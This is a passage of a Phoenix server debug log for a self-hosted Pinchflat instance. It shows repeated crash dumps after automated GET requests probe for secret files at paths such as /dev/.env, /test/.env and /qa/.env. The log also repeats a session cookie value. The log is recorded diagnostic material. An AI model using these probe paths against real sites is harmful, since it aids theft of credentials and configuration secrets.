"x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:25.087 [info] GET /test/.env 17:14:25.088 [debug] QUERY OK source="settings" db=0.1ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.088 [debug] QUERY OK source="settings" db=0.0ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.088 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:25.089 [error] #PID<0.11796.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 29) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /test/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11796.0>, params: %{}, path_info: ["test", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/test/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWro4abXSXG0ABUuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:25.360 [info] GET /demo/.env 17:14:25.361 [debug] QUERY OK source="settings" db=0.1ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.361 [debug] QUERY OK source="settings" db=0.0ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.361 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:25.362 [error] #PID<0.11797.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 30) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /demo/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /demo/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/demo/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11797.0>, params: %{}, path_info: ["demo", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/demo/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWsp_LcNGY6wABUwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/demo/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /demo/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/demo/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:25.633 [info] GET /qa/.env 17:14:25.634 [debug] QUERY OK source="settings" db=0.3ms idle=708.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.634 [debug] QUERY OK source="settings" db=0.1ms idle=546.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.634 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:25.635 [error] #PID<0.11798.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 31) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /qa/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11798.0>, params: %{}, path_info: ["qa", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/qa/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWtq7hfDB8oMABUyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:25.906 [info] GET /portal/.env 17:14:25.906 [debug] QUERY OK source="settings" db=0.1ms idle=818.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.907 [debug] QUERY OK source="settings" db=0.0ms idle=545.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:25.907 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:25.907 [error] #PID<0.11799.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 32) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /portal/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /portal/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/portal/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, 